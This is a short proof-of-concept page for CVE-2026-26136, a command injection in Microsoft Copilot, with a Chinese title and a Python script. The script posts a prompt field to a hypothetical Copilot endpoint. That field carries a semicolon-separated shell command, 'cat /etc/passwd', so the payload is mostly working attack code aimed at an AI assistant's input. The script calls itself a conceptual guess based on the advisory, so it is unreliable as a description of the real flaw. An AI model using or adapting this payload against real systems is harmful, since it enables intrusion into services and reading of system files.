CVE-2026-26136 Microsoft Copilot命令注入漏洞

# PoC for CVE-2026-26136 (Command Injection in Microsoft Copilot) # This is a conceptual demonstration based on the vulnerability description. import requests def trigger_command_injection(target_url, injected_command): """ Simulates sending a malicious payload to the vulnerable Copilot endpoint. """ headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-26136-Scanner/1.0" } # The payload attempts to inject a command using a semicolon separator payload = f"innocent_query; {injected_command}" data = { "input": payload, "context": "user_prompt" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print("[+] Response snippet:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage (Target URL is hypothetical) target = "https://api.copilot.example.com/v1/generate" # Example command to list files (Linux) or whoami cmd = "cat /etc/passwd" trigger_command_injection(target, cmd)